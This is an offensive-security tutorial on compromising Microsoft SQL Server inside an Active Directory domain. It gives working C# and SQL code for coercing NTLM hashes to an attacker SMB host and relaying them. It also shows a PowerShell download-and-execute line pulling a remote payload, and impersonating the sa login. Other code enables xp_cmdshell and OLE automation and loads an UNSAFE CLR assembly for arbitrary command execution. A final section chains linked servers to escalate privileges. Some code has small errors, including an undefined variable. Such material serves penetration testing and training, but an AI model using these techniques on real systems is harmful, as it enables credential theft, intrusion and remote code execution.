Enumeration
Microsoft SQL (MS SQL) servers usually listen on port 1433 and we could easily find them with an nmap scan, however, if we’ve compromised an unprivileged user in an Active Directory domain, we can more conduct a more stealthy scan by querying the Domain Controller for Service Principal Names (SPNs). We can do this by invoking the following setspn command:
setspn -T ${DOMAIN} -Q MSSQLSvc/*
Authentication
There are two methods to authenticate to an MS SQL server:
- Using local accounts and credentials for the server
- Conducting Windows authentication via Kerberos and a Ticket Granting Service (TGS) ticket
After successfully logging in, we can perform a secondary login with either the sa (sysadmin) account or the dbo user account. If our Windows account isn’t mapped to any accounts in the server, we’re automatically assigned the guest user account. Regardless, we won’t be prompted for a password since we’re authenticating via Active Directory.
The following C# .NET code will authenticate to a MS SQL server, authenticating
via Active Directory, to query the current user’s user information. This is
enabled by providing the Integrated Security = True;
parameter in the
connection string for the server.
using System;
using System.Data.SqlClient;
namespace SQL
{
class Program
{
static void Main()
{
string sqlServer = "dc01.corp1.com";
string database = "master";
string conString = "Server = " + sqlServer +
"; Database = " + database +
"; Integrated Security = True;";
SqlConnection con = new SqlConnection(conString);
try
{
con.Open();
Console.WriteLine("Auth success!");
}
catch
{
Console.WriteLine("Auth failed");
Environment.Exit(0);
}
string querylogin = "SELECT SYSTEM_USER;";
SqlCommand command = new SqlCommand(querylogin, con);
SqlDataReader reader = command.ExecuteReader();
reader.Read();
Console.WriteLine("Logged in as: " + reader[0]);
reader.Close();
string rolequery = "SELECT IS_SRVROLEMEMBER('public');";
command = new SqlCommand(rolequery, con);
reader = command.ExecuteReader();
reader.Read();
int role = int.Parse(reader[0].ToString());
if (role == 1)
{
Console.WriteLine("User is a member of public role");
}
else
{
Console.WriteLine("User is NOT a member of public role");
}
reader.Close();
rolequery = "SELECT IS_SRVROLEMEMBER('sysadmin');";
command = new SqlCommand(rolequery, con);
reader = command.ExecuteReader();
reader.Read();
role = int.Parse(reader[0].ToString());
if (role == 1)
{
Console.WriteLine("User is a member of sysadmin role");
}
else
{
Console.WriteLine("User is NOT a member of sysadmin role");
}
reader.Close();
con.Close();
}
}
}
Stealing hashes
We can coerce MS SQL servers to authenticate to our SMB server, enabling us to retrieve the NTLMv2 or Net-NTLM hash for the user account hosting the MS SQL server. We can do this by providing a Universal Naming Convention (UNC) path for the xp_dirtree MS SQL procedure. This will cause the MS SQL server to attempt to read from our SMB server, but first it’ll attempt authentication.
We can use a tool like Responder to
respond to this request and dump the NLTMv2 or Net-NTLM hash to stdout
. Here’s
some example C# .NET code to implement this tactic:
using System;
using System.Data.SqlClient;
namespace SQL
{
class Program
{
static void Main(string[] args)
{
string lHost = args[0];
string sqlServer = "dc01.corp1.com";
string database = "master";
string conString = "Server = " + sqlServer +
"; Database = " + database +
"; Integrated Security = True;";
SqlConnection con = new SqlConnection(conString);
try
{
con.Open();
Console.WriteLine("Auth success!");
}
catch
{
Console.WriteLine("Auth failed");
Environment.Exit(0);
}
string query = $"EXEC master..xp_dirtree \"\\\\{lHost}\\\\test\";";
SqlCommand command = new SqlCommand(query, con);
SqlDataReader reader = command.ExecuteReader();
reader.Close();
con.Close();
}
}
}
And we can listen and respond to incoming authentication requests by invoking responder like so:
sudo responder -I ${INTERFACE_NAME}
Relaying hashes
While we can use NTLM hashes to pass the hash to obtain code execution on hosts where the domain user we’ve compromised is a local administrator, we can’t do the same for NTLMv2 or Net-NTLM hashes. We can, however, relay the hash to a different computer that the compromised user is a local administrator on. For clarity, we can’t relay the hash back to the same computer - this was disabled by Microsoft in 2008.
Relaying Net-NTLM hashes against SMB is only possible if SMB signing is not enabled, which is only enabled by default on Domain Controllers. To prepare for the attack, we can invoke impacket-ntlmrelayx to relay incoming authentication requests to a target, providing a PowerShell command to execute on the target as a Local Administrator, the compromised user. Here’s an example invocation:
sudo impacket-ntlmrelayx --no-http-server -smb2support -t ${RHOST} -c "powershell -EncodedCommand ${BASE64_COMMAND}"
We can Base64 encode a PowerShell command by invoking the following:
$lHost = ${LHOST}
$command = "Invoke-RestMethod -Uri 'http://${lHost}/PayloadAmsi.ps1' -UseBasicParsing | Invoke-Expression"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedText = [Convert]::ToBase64String($bytes)
Escalating privileges
Impersonation
The MS SQL EXECUTE AS
statement allows us to impersonate users at the LOGIN
level with the EXECUTE AS LOGIN
statement, and allows us to impersonate users
within a database at the USER
level with the EXECUTE AS USER
statement.
We can use the following C# .NET code to find logins that can be impersonated:
using System;
using System.Data.SqlClient;
namespace SQL
{
class Program
{
static void Main()
{
string sqlServer = "dc01.corp1.com";
string database = "master";
string conString = "Server = " + sqlServer +
"; Database = " + database +
"; Integrated Security = True;";
SqlConnection con = new SqlConnection(conString);
try
{
con.Open();
Console.WriteLine("Auth success!");
}
catch
{
Console.WriteLine("Auth failed");
Environment.Exit(0);
}
string query =
"SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';";
SqlCommand command = new SqlCommand(query, con);
SqlDataReader reader = command.ExecuteReader();
while (reader.Read() == true)
{
Console.WriteLine("Logins that can be impersonated: " + reader[0]);
}
reader.Close();
con.Close();
}
}
}
The following C# .NET code demonstrates how to impersonate the login of the sa
system administrator user:
using System;
using System.Data.SqlClient;
namespace SQL
{
class Program
{
static void Main()
{
string sqlServer = "dc01.corp1.com";
string database = "master";
string conString = "Server = " + sqlServer +
"; Database = " + database +
"; Integrated Security = True;";
SqlConnection con = new SqlConnection(conString);
try
{
con.Open();
Console.WriteLine("Auth success!");
}
catch
{
Console.WriteLine("Auth failed");
Environment.Exit(0);
}
string querylogin = "SELECT SYSTEM_USER;";
SqlCommand command = new SqlCommand(querylogin, con);
SqlDataReader reader = command.ExecuteReader();
reader.Read();
Console.WriteLine("Logged in as: " + reader[0]);
reader.Close();
string executeas = "EXECUTE AS LOGIN = 'sa';";
command = new SqlCommand(executeas, con);
reader = command.ExecuteReader();
reader.Close();
querylogin = "SELECT SYSTEM_USER;";
command = new SqlCommand(querylogin, con);
reader = command.ExecuteReader();
reader.Read();
Console.WriteLine("Logged in as: " + reader[0]);
reader.Close();
con.Close();
}
}
}
The following C# .NET code demonstrates how to impersonate the dbo
user:
using System;
using System.Data.SqlClient;
namespace SQL
{
class Program
{
static void Main()
{
string sqlServer = "dc01.corp1.com";
string database = "master";
string conString = "Server = " + sqlServer +
"; Database = " + database +
"; Integrated Security = True;";
SqlConnection con = new SqlConnection(conString);
try
{
con.Open();
Console.WriteLine("Auth success!");
}
catch
{
Console.WriteLine("Auth failed");
Environment.Exit(0);
}
string querylogin = "SELECT USER_NAME();";
SqlCommand command = new SqlCommand(querylogin, con);
SqlDataReader reader = command.ExecuteReader();
reader.Read();
Console.WriteLine("Logged in as: " + reader[0]);
reader.Close();
string executeas = "use msdb; EXECUTE AS USER = 'dbo';";
command = new SqlCommand(executeas, con);
reader = command.ExecuteReader();
reader.Close();
querylogin = "SELECT USER_NAME();";
command = new SqlCommand(querylogin, con);
reader = command.ExecuteReader();
reader.Read();
Console.WriteLine("Logged in as: " + reader[0]);
reader.Close();
con.Close();
}
}
}
Code execution
A well-known technique is the MS SQL xp_cmdshell
procedure, which might be
disabled. With sa
permissions, however, we can use the sp_configure
procedure to enable the xp_cmdshell
procedure, allowing us to execute
arbitrary cmd.exe
commands on the host. The following C# .NET code
demonstrates this:
using System;
using System.Data.SqlClient;
namespace SQL
{
class Program
{
static void Main()
{
string sqlServer = "dc01.corp1.com";
string database = "master";
string conString = "Server = " + sqlServer +
"; Database = " + database +
"; Integrated Security = True;";
SqlConnection con = new SqlConnection(conString);
try
{
con.Open();
Console.WriteLine("Auth success!");
}
catch
{
Console.WriteLine("Auth failed");
Environment.Exit(0);
}
string executeas = "EXECUTE AS LOGIN = 'sa';";
string enable_xpcmd = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;";
string execCmd = "EXEC xp_cmdshell whoami";
command = new SqlCommand(executeas, con);
reader = command.ExecuteReader();
reader.Close();
SqlCommand command = new SqlCommand(impersonateUser, con);
SqlDataReader reader = command.ExecuteReader();
reader.Close();
command = new SqlCommand(enable_xpcmd, con);
reader = command.ExecuteReader();
reader.Close();
command = new SqlCommand(execCmd, con);
reader = command.ExecuteReader();
reader.Read();
Console.WriteLine("Result of command is: " + reader[0]);
reader.Close();
con.Close();
}
}
}
An alternatively method that’s not so well-known is to use the sp_OAMethod
procedure to create and execute new procedure based on Object Linked and
Embedding (OLE). The following C# .NET code demonstrates how to create and
invoke a new procedure in MS SQL to obtain arbitrary command execution:
using System;
using System.Data.SqlClient;
namespace SQL
{
class Program
{
static void Main(string[] args)
{
string sqlServer = "dc01.corp1.com";
string database = "master";
string conString = "Server = " + sqlServer +
"; Database = " + database +
"; Integrated Security = True;";
string encodedCommand = args[0];
SqlConnection con = new SqlConnection(conString);
try
{
con.Open();
Console.WriteLine("Auth success!");
}
catch
{
Console.WriteLine("Auth failed");
Environment.Exit(0);
}
string executeas = "EXECUTE AS LOGIN = 'sa';";
string enable_ole = "EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;";
string execCmd = $"DECLARE @myshell INT; EXEC sp_oacreate 'wscript.shell', @myshell OUTPUT; EXEC sp_oamethod @myshell, 'run', null, 'cmd /c \"powershell -EncodedCommand {encodedCommand}\"';";
SqlCommand command = new SqlCommand(executeas, con);
SqlDataReader reader = command.ExecuteReader();
reader.Close();
command = new SqlCommand(enable_ole, con);
reader = command.ExecuteReader();
reader.Close();
command = new SqlCommand(execCmd, con);
reader = command.ExecuteReader();
reader.Close();
con.Close();
}
}
}
Loading assemblies
If a database in the MS SQL server has the TRUSTWORTHY
property set, we can
use the CREATE ASSEMBLY
statement to import a managed DLL as an object and
execute methods within the DLL. Here’s some example C# .NET code that publishes
a method, cmdExec
, that we can use to execute arbitrary encoded PowerShell
commands:
using Microsoft.SqlServer.Server;
using System.Data.SqlTypes;
using System.Diagnostics;
public class StoredProcedures
{
[SqlProcedure]
public static void cmdExec(SqlString execCommand)
{
Process proc = new Process();
proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
proc.StartInfo
.Arguments = $" /c \"powershell -EncodedCommand {execCommand}\"";
proc.StartInfo.CreateNoWindow = true;
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
SqlDataRecord record = new SqlDataRecord(
new SqlMetaData("output", System.Data.SqlDbType.NVarChar, 4000)
);
SqlContext.Pipe.SendResultsStart(record);
record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
SqlContext.Pipe.SendResultsRow(record);
SqlContext.Pipe.SendResultsEnd();
proc.WaitForExit();
proc.Close();
}
}
After building this assembly, we convert it to hex so we can load it from hex on the target database by invoking the following:
$DLLPath = ".\SQL.dll"
$fileStream = [IO.File]::OpenRead((Resolve-Path -Path $DLLPath).Path)
$stringBuilder = New-Object -Type System.Text.StringBuilder
while (($byte = $fileStream.ReadByte()) -gt -1)
{
$null = $stringBuilder.Append($byte.ToSttring("X2"))
}
$stringBuilder.ToString() -join "" | Out-File ".\SQL.txt"
With the following C# .NET code, we load our assembly from hex and execute an arbitrary PowerShell encoded command:
using System;
using System.Data.SqlClient;
namespace SQL
{
class Program
{
static void Main(string[] args)
{
string sqlServer = "dc01.corp1.com";
string database = "master";
string conString = "Server = " + sqlServer +
"; Database = " + database +
"; Integrated Security = True;";
string encodedCommand = args[0];
SqlConnection con = new SqlConnection(conString);
try
{
con.Open();
Console.WriteLine("Auth success!");
}
catch
{
Console.WriteLine("Auth failed");
Environment.Exit(0);
}
string executeas = "EXECUTE AS LOGIN = 'sa';";
string enableCLR =
"use msdb; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'clr enabled', 1; RECONFIGURE; EXEC sp_configure 'clr strict security', 0; RECONFIGURE;";
string dropProcedure = "DROP PROCEDURE [dbo].[cmdExec];";
string dropAssembly = "DROP ASSEMBLY myAssembly;";
string createAssembly =
"CREATE ASSEMBLY myAssembly FROM ... WITH PERMISSION_SET = UNSAFE;";
string createProcedure =
"CREATE PROCEDURE [dbo].[cmdExec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [myAssembly].[StoredProcedures].[cmdExec];";
string cmdExec = $"EXEC cmdExec '{encodedCommand}';";
string[] commands = {
executeas,
enableCLR,
dropProcedure,
dropAssembly,
createAssembly,
createProcedure,
cmdExec
};
foreach (string command in commands)
{
SqlCommand SQLCommand = new SqlCommand(command, con);
SqlDataReader SQLReader = SQLCommand.ExecuteReader();
SQLReader.Read();
Console.WriteLine($"Result of command is: {SQLReader[0]}");
SQLReader.Close();
}
con.Close();
}
}
}
Linked servers
It’s possible to link SQL servers within a domain, such that a query executed on one SQL server fetches data from or takes action on a different SQL server. Here’s some example C# .NET code to enumerate linked servers:
using System;
using System.Data.SqlClient;
namespace SQL
{
class Program
{
static void Main()
{
string sqlServer = "dc01.corp1.com";
string database = "master";
string conString = "Server = " + sqlServer +
"; Database = " + database +
"; Integrated Security = True;";
SqlConnection con = new SqlConnection(conString);
try
{
con.Open();
Console.WriteLine("Auth success!");
}
catch
{
Console.WriteLine("Auth failed");
Environment.Exit(0);
}
string execCmd = "EXEC sp_linkedservers;";
SqlCommand command = new SqlCommand(execCmd, con);
SqlDataReader reader = command.ExecuteReader();
while (reader.Read())
{
Console.WriteLine("Linked SQL server: " + reader[0]);
}
reader.Close();
con.Close();
}
}
}
Once we discover linked SQL servers, we can use the following toolkits to conduct lateral movement, pivot, and escalate privileges:
You can chain links to conduct privilege escalation. For example, we could be
executing the following query from the appsrv01
host, using the dc01
host to
bounce our request back home, enabling us to gain sa
privileges because we
have sa
privileges on the dc01
host:
select mylogin from openquery("dc01", 'select mylogin from openquery("appsrv01", ''select SYSTEM_USER as mylogin'')')
Unfortunately, we can’t use openquery
for exec
command to reconfigure remote
servers for code execution, but we can use the at
directive, as such:
EXEC ('EXEC (''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT appsrv01') AT dc01
Executing the above SQL command from the appsrv01
host allows us to execute
our exec
and reconfigure
commands as sa
, bouncing our SQL command off the
dc01
host.